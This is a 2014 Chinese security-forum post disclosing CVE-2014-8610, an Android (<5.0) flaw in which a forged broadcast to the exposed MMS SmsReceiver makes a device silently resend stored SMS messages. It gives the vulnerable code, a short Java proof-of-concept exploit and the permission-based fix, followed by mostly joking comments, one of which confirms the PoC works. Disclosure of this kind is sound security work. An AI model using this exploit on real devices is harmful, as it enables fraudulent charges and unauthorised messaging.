当前位置:WooYun(白帽子技术社区) >> 移动终端安全 >> CVE-2014-8610 Android < 5.0 短信重发漏洞

CVE-2014-8610 Android < 5.0 短信重发漏洞

瘦蛟舞 (科普是一种公益行为) | 2014-11-26 16:01

###影响版本:

android<5.0

###ID

CVE-2014-8610
Android id 17671795

###危害

重发短信恶意扣费
通过伪造草稿箱短信,可以达到无权限发送任意短信的效果

###原理

典型的广播接收器组件泄露加上广播伪造利用。

漏洞存在文件:https://android.googlesource.com/platform/packages/apps/Mms/+/android-4.4.4_r2.0.1/src/com/android/mms/transaction/SmsReceiverService.java

漏洞存在组件:.transaction.SmsReceiver

伪造恶意广播`com.android.mms.transaction.MESSAGE_SENT`会回调方法`handleSmsSent`。恶意应用将伪造广播的resultcode设置为RESULT_ERROR_RADIO_OFF将会进入下述代码逻辑,URI中的SMS将会移动到短信发送队列,然后你草稿箱的短信就被不知不觉的发送啦

关键代码:

private void handleSmsSent(Intent intent, int error) {
         ...
         } else if ((mResultCode == SmsManager.RESULT_ERROR_RADIO_OFF) || (mResultCode == SmsManager.RESULT_ERROR_NO_SERVICE)) {
                   if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
                            Log.v(TAG, "handleSmsSent: no service, queuingmessage w/ uri: " + uri);
                   }
                   // We got an error with no service or no radio. Register for state changes so
                   // when the status of the connection/radio changes, we can try to send the
                   // queued up messages.
                   registerForServiceStateChanges();
                   // We couldn't send the message, put in the queue to retry later.
                   Sms.moveMessageToFolder(this, uri, Sms.MESSAGE_TYPE_QUEUED, error);


###POC

Intent intent= new Intent("com.android.mms.transaction.MESSAGE_SENT");
    intent.setData(Uri.parse("content://sms"));
    intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiver");
    sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null);

  /**
  Some tips about the POC:
  1. uri is content://sms without specifying the ID, that means all the SMS will be resent.
  2. must use explicit intent
  3. with this version of sendOrderedBroadcast, the initial result code can be controlled
  **/


###修复

将广播接收器.transaction.SmsReceiver加上了android.permission.SEND_SMS权限要求。

<receiver android:name=".transaction.SmsReceiver" android:permission="android.permission.SEND_SMS">

https://android.googlesource.com/platform/packages/apps/Mms/+/008d6202fca4002a7dfe333f22377faa73585c67

原文:http://xteam.baidu.com/?p=164

分享到:
  1. 1#
    回复此人 感谢
    _Thorns (创业公司招聘系统运维、软件逆向、数据可视化攻城狮。) | 2014-11-26 16:29

    哈哈,这个有意思啊。

  2. 2#
    回复此人 感谢
    梧桐雨 (‮ofni.uygnotuw‮) | 2014-11-26 17:11

    师傅这是要冲击领主的节奏呀

  3. 3#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-26 18:05

    @梧桐雨 妥妥的

  4. 4#
    回复此人 感谢
    Yaseng (看黄片 到 www.yaseng.org) | 2014-11-26 18:38

    我厂勃士威武

  5. 5#
    回复此人 感谢
    xsjswt | 2014-11-26 18:53

    我去看微薄 科学家肯定又发段子了

  6. 6#
    回复此人 感谢
    xsjswt | 2014-11-26 18:55

    科学家竟然没有发段子宣传 这不科学

  7. 7#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-26 18:57

    @xsjswt 科学家是谁?

  8. 8#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-26 19:20

    @梧桐雨 据说你研究过领主算法?

  9. 9#
    回复此人 感谢
    梧桐雨 (‮ofni.uygnotuw‮) | 2014-11-26 19:25

    @瘦蛟舞 之前有,据@xsser 说没改。

  10. 10#
    回复此人 感谢
    我勒个去 | 2014-11-26 20:53

    @xsjswt 猥琐2B,鉴定完毕

  11. 11#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2014-11-26 22:04

    我又想起给手机里的所有好友群发自己怀孕了的段子……

  12. 12#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2014-11-26 22:09

    这些代码怎么用呢

  13. 13#
    回复此人 感谢
    hqdvista (...) | 2014-11-26 22:26

    @xsjswt 科学家刚发了

  14. 14#
    回复此人 感谢
    我勒个去 | 2014-11-26 22:28

    @hqdvista 哈哈,要求如是,不能免俗

  15. 15#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-27 09:56

    @Jumbo 创建android project然后再MainActivity里插入POC就可以了

  16. 16#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-27 10:03

    @我勒个去 @xsjswt 原来猥琐说的是你

  17. 17#
    回复此人 感谢
    xsjswt | 2014-11-27 10:07

    @hqdvista 果然不出我所料

  18. 18#
    回复此人 感谢
    cnrstar (Be My Personal Best!) | 2014-11-27 10:09

    @hqdvista @瘦蛟舞 我有猥琐私房照,10WB出,量大从优。

  19. 19#
    回复此人 感谢
    lightless | 2014-11-27 10:54

    测试了一下。。威力不凡。。写了content://sms,把我收件箱重发了一遍。。但是content://sms/draft草稿发不出去的。。。可能是跟MIUI有关吧。。

  20. 20#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-27 10:56

    @lightless 哈哈

  21. 21#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-27 10:57

    @lightless 你咋不拿模拟器试了。。

  22. 22#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-27 11:06

    @梧桐雨 已经是领主了。。哈哈

  23. 23#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2014-11-27 12:25

    @瘦蛟舞 也就是说,要让对方安装你的android project?

  24. 24#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-11-27 16:10

    @Jumbo 大侠求放过。

  25. 25#
    回复此人 感谢
    lightless | 2014-11-27 19:48

    @瘦蛟舞 想真机体验一把。。。

  26. 26#
    回复此人 感谢
    梧桐雨 (‮ofni.uygnotuw‮) | 2014-11-27 20:00

    @瘦蛟舞 恭喜师傅 哈哈

  27. 27#
    回复此人 感谢
    w5r2 | 2014-11-30 02:02

    k

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录